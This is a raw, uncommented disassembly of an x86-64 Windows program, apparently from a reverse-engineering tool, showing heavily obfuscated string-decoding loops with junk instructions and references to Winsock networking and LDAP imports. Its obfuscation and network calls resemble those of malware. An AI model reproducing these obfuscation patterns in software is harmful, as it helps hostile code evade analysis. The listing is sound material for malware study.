add dl, r11b
inc r8
dec rbx
inc rbx
jmp 0x14008de12
movabs rdx, 0xa700cc084b8efa3a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14008e98a
lea rax, [r8 + 0x3e8]
cmp r9, rax
jae 0x14008e534
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0xd
add dl, cl
jmp 0x14008e33f
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14008e576
movabs rcx, 0xb8c87323bfc23a4e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x22
movzx eax, byte [rbp + rbx + 0x6d8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14008de12
inc rax
cmp r9, rax
jne 0x14008e5a5
movabs rcx, 0x999e967c7cb0277a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x56
jmp 0x14008ea9f
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14008e5d8
movabs rdx, 0x6adfcb8198150b3c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14008ea0a
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14008e611
movabs rdx, 0x5b4add2df68c01d2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
dec rbx
inc rbx
jmp 0x14008de12
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14008e33f
movabs rdx, 0x4bb5eeda5502f868
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
inc r8
dec rbx
inc rbx
jmp 0x14008de12
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14008e67d
movabs rcx, 0x152cacb59fa35775
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x33
jmp 0x14008e98a
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14008e6af
movabs rdx, 0xe66de1babb083b37
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x7f
add dl, cl
jmp 0x14008ea0a
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14008e6f1
movabs rcx, 0xd6d8f367197f31cd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x65
add r9, r8
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008de12
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14008e721
movabs rcx, 0xa81a286c34e4158f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x17
jmp 0x14008eacf
lea rax, [r8 + 8]
cmp r9, rax
jne 0x14008e2e1
movabs rcx, 0x98853a18935b0c25
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 3
movzx eax, byte [rbp + rbx + 0x6d8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14008de12
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14008e7a4
movabs rcx, 0x7190e6477f84749c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x44
movzx eax, byte [rbp + rbx + 0x6d8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14008de12
inc rax
cmp r9, rax
jne 0x14008e7d3
movabs rcx, 0x526709a03c7261c8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
jmp 0x14008ea9f
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14008e818
movabs rdx, 0x333d2cf8f9604ef4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
add r9, r8
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008de12
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14008e28e
movabs rdx, 0x47e61fe14c532b6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
inc r8
dec rbx
inc rbx
jmp 0x14008de12
mov byte [rbp + rbx + 0x6d8], dl
inc rbx
jmp 0x14008de12
movabs rdx, 0xd5bf9703302a1678
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, byte [rbp + rbx + 0x6d8]
sub cl, al
add cl, r11b
sub dl, 0x48
add dl, cl
jmp 0x14008ea0a
movabs rdx, 0xc62aa8af8ea10d0e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, byte [rbp + rbx + 0x6d8]
sub dl, 0x62
jmp 0x14008ea9d
movabs rcx, 0xd027d8a1320fc86d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 5
movzx eax, byte [rbp + rbx + 0x6d8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14008de12
movabs rcx, 0xef51b5487521db41
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x39
jmp 0x14008ea9f
movabs rcx, 0xfee6a39c16aae4ab
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x53
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008de12
movabs rcx, 0x2da56e96fb4600e9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x5f
dec rbx
inc rbx
jmp 0x14008de12
movabs rcx, 0x4ccf4b3e3e5813bd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2b
movabs rcx, 0xdd8a0e2d00ee9b2d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x3b
add r11b, cl
mov byte [rbp + rbx + 0x6d8], r11b
inc r8
dec rbx
inc rbx
jmp 0x14008de12
movabs rcx, 0x7b8e163922f32ffb
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x23
inc r8
dec rbx
inc rbx
jmp 0x14008de12
movabs rcx, 0x9ab7f2e0660542cf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x57
movabs rcx, 0xcdf51fd95f6591c3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x55
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x6d8], cl
add r9, r8
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008de12
movabs rcx, 0xaa4ce134078e4c39
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x71
add r9, r8
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008de12
mov r11, r10
movabs rdx, 0xc976bddb4aa05f0d
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x5b
add dl, cl
movabs rcx, 0xbe603185bddc8859
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x6f
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x6d8], al
inc r8
add rax, r8
sub rbx, rax
movabs rcx, 0xb695ba5bed1803a4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x7c
add cl, r11b
mov byte [rbp + rbx + 0x6d8], cl
inc r9
mov rax, r15
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x6d8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14008de12
movabs rcx, 0xe8a09a828db271e1
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x27
movzx eax, byte [rbp + rbx + 0x6d8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14008de12
movabs rcx, 0xf3d0174689e70df7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x3f
jmp 0x14008de10
movabs rcx, 0x365059a2b701761
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x59
jmp 0x14008de00
lea rcx, [rbp + 0x176dd3c]
jmp 0x14008ebb0
lea rcx, [rbp + 0x1325887]
jmp 0x14008ebb0
lea rcx, [rbp + 0x6d8]
mov rdx, rdi
call fcn.140035b50
lea rdx, [0x140236a90]
lea rcx, [rbp + 0x180]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x100]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006abf0
mov rsi, rax
mov byte [rbp + 0x700], 0x90
mov byte [rbp + 0x701], 0xb3
mov byte [rbp + 0x702], 0xab
mov byte [rbp + 0x703], 0xa4
mov byte [rbp + 0x704], 0xa5
mov byte [rbp + 0x705], 0xb7
mov byte [rbp + 0x706], 0x76
mov byte [rbp + 0x707], Ordinal_143
mov byte [rbp + 0x708], 0xbd
mov byte [rbp + 0x709], 0xaa
mov byte [rbp + 0x70a], 0xaf
mov byte [rbp + 0x70b], 0xb2
mov byte [rbp + 0x70c], 0xa4
mov byte [rbp + 0x70d], 0x51
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x70e], xmm0
mov dword [rbp + 0x71e], eax
mov byte [rbp + 0x722], al
movabs r14, 0x81ec40ffcc27b52
movabs r12, 0x5a51bc69d22bdaee
movabs r13, 0xa2b054684c6279da
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
movabs rdx, 0xdbd0b400c2e4b08a
cmp rdi, 0x23
jae 0x14008faeb
movzx ebx, byte [rbp + rdi + 0x700]
mov r10, rbx
cmp r8, rdi
ja 0x14008fadf
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008ed01
lea rcx, [rdi + rdx]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x3a
jmp 0x14008ed55
je 0x14008fa53
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008f9b5
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008f97c
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008f941
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008f913
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008f8e7
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008f890
cmp r9, rdi
ja 0x14008fad3
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x14008ed82
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
jmp 0x14008edd0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14008f868
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008f854
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008f7f5
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008f7e1
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008f7bc
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008f799
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14008f450
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14008f42c
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008f3fb
lea rax, [r9 + 9]
cmp r8, rax
je 0x14008f3d2
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008f3aa
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008f374
lea rcx, [r9 + 0x20]
cmp r8, rcx
je 0x14008f33c
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008f319
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008f2f1
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14008f2bd
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14008ede0
mov r8, rcx
lea r9, [rcx + 0x40]
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x14008fab0
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x14008fa88
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x14008efd0
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x14008efb1
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x14008ef92
lea rcx, [r9 + 1]
cmp r8, rcx
jb 0x14008f25d
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14008f200
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14008f1b1
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14008f17e
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14008ede0
mov r8, rcx
lea r9, [rcx + 3]
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x14008f145
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x14008f122
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x14008f0fa
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x14008f0c7
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x14008f08c
lea rcx, [r9 + 0x80]
cmp r8, rcx
ja 0x14008f068
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14008f054
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14008f028
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14008f000
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008ede0
mov r8, rcx
lea r9, [rcx + 0x3e8]
jmp 0x14008ede0
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008edd0
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008ed55
movabs rdx, 0xeb0eec66c69918c6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub dl, 0x6a
add r11b, dl
movabs rdx, 0xdbd0b400c2e4b08a
jmp 0x14008ecce
movabs rdx, 0x40f6207fe613da90
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008f8b3
movabs rcx, 0x8954b87e604a797c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x64
inc r9
dec rdi
inc rdi
jmp 0x14008ecb2
movabs rdx, 0xd1b3507cda811868
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14008f922
movabs rdx, 0x1a11e87b54b7b754
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4c
jmp 0x14008f814
movabs rdx, 0x62708079ceee5640
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008ecb2
movabs rcx, 0xaacf18784924f52c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x34
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008ecb2
movabs rdx, 0xf32db076c35b9418
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008f9d9
movabs rcx, 0x3b8c48753d923304
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x14008fa0b
movabs rdx, 0x83eae073b7c8d1f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x700]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008ecb2
movabs rdx, 0x38d75c6fe9515f3e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0x700], r11b
inc rdi
jmp 0x14008ecb2
movabs rcx, 0x8135f46e6387fe2a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x26
cmp r9, 0x3e8
jb 0x14008f1a1
movabs rdx, 0x9527b84da71e56fc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14008f8b3
movabs rdx, 0xc9948c6cddbe9d16
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 3
jae 0x14008f73a
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14008f67f
movabs rcx, 0x68d9a83e6d408c34
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
jmp 0x14008f1cf
movabs rcx, 0x11f3246b57f53c02
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
lea rax, [r9 + r8]
cmp rax, 0x40
je 0x14008f769
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x14008f56a
movabs rdx, 0x60bae42e707e10e2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2e
add r11b, dl
jmp 0x14008f223
movabs rcx, 0x30b8985fec8ee3ec
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x74
movzx eax, byte [rbp + rdi + 0x700]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008ecb2
movabs rdx, 0x7917305e66c582d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008fa0b
movabs rcx, 0xc175c85ce0fc21c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x14008f9d9
movabs rdx, 0x9d4605b5b32c0b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008ecb2
movabs rcx, 0x5232f859d5695f9c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008ecb2
movabs rdx, 0x9a9190584f9ffe88
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008f817
movabs rcx, 0xe2f02856c9d69d74
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
dec rdi
inc rdi
jmp 0x14008ecb2
movabs rdx, 0x2b4ec055440d3c60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14008ecb2
movabs rdx, 0x73ad5853be43db4c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x14
jmp 0x14008f8b0
lea rcx, [r9 + 2]
cmp r8, rcx
jae 0x14008f485
movabs rdx, 0xdbd0b400c2e4b08a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008f27b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008f4c6
movabs rcx, 0x103d881ff984f6a4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7c
movzx eax, byte [rbp + rdi + 0x700]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008ecb2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008f50e
movabs rdx, 0xeec3282610aa7af4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008ecb2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008f549
movabs rdx, 0x5e05f8291c3d3d1c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008ecb2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008f27b
movabs rdx, 0xcd48c82c27cfff44
mov ecx, reloc.WS2_32.dll_select
jmp 0x14008f89f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008f59f
movabs rdx, 0x185c4c2ff64771f6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008f8b3
inc rax
cmp r8, rax
jne 0x14008f5d9
movabs rdx, 0x879f1c3301da341e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008ecb2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008f60a
movabs rdx, 0x3f40843487a39532
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5e
jmp 0x14008f814
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008f64a
movabs rcx, 0xae8354379336575a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x76
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008ecb2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008f223
movabs rdx, 0x1dc6243a9ec91982
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008fa0b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008f6c5
movabs rdx, 0x207b103ff309ed48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x700]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008ecb2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008f708
movabs rcx, 0xff00b0460a2f7198
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x28
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008ecb2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008f1cf
movabs rdx, 0xb6a218478ff8d2ac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008f814
movabs rdx, 0x4cc9204f2ce7b810
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x700]
sub r11b, al
sub r11b, 0x70
add r11b, dl
add r11b, bl
jmp 0x14008f817
movabs rdx, 0x46a8850b2b11924
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x700]
add r11b, dl
add r11b, bl
jmp 0x14008f9d9
movabs rcx, 0xd889c1aa54422de
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x12
jmp 0x14008f9d9
movabs rdx, 0x55e734191f7ac1ca
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008f99d
movabs rdx, 0x9e45cc1799b160b6
mov ecx, 3
jmp 0x14008f950
movabs rdx, 0xe6a4641613e7ffa2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6e
add r11b, dl
movabs rcx, 0x2899d44fefcc689a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x36
add bl, cl
add bl, r11b
mov byte [rbp + rdi + 0x700], bl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008ecb2
movabs rdx, 0x2f02fc148e1e9e8e
mov ecx, reloc.WS2_32.dll_ntohs
jmp 0x14008f922
movabs rdx, 0xbfc02c11828bdc66
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008f8b3
movabs rdx, 0x507d5c0e76f91a3e
mov ecx, Ordinal_41
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x70f86c4e6a030786
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x700], cl
inc r9
dec rdi
inc rdi
jmp 0x14008ecb2
movabs rcx, 0x98dbf40cf12fb92a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x26
inc r9
dec rdi
inc rdi
jmp 0x14008ecb2
movabs rdx, 0xe13a8c0b6b665816
mov ecx, 0x33
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14008ecb2
movabs rdx, 0x71f7bc085fd395ee
mov ecx, 0x3f
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008ecb2
movabs rdx, 0xba565406da0a34da
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008ecb2
mov rbx, r10
movabs rcx, 0x2b4ec055440d3c6
add rcx, rdi
and r10b, cl
add r10b, r10b
movzx r11d, bl
sub r11b, r10b
sub r11b, 0x6a
add r11b, cl
movabs rdx, 0xe03b3c517595c9ae
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x700], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0xbc0bf052387a7a38
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x700], cl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x700]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008ecb2
movabs rcx, 0x93721c0248ae119e
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x52
movzx eax, byte [rbp + rdi + 0x700]
add rax, r9
add rdi, rax
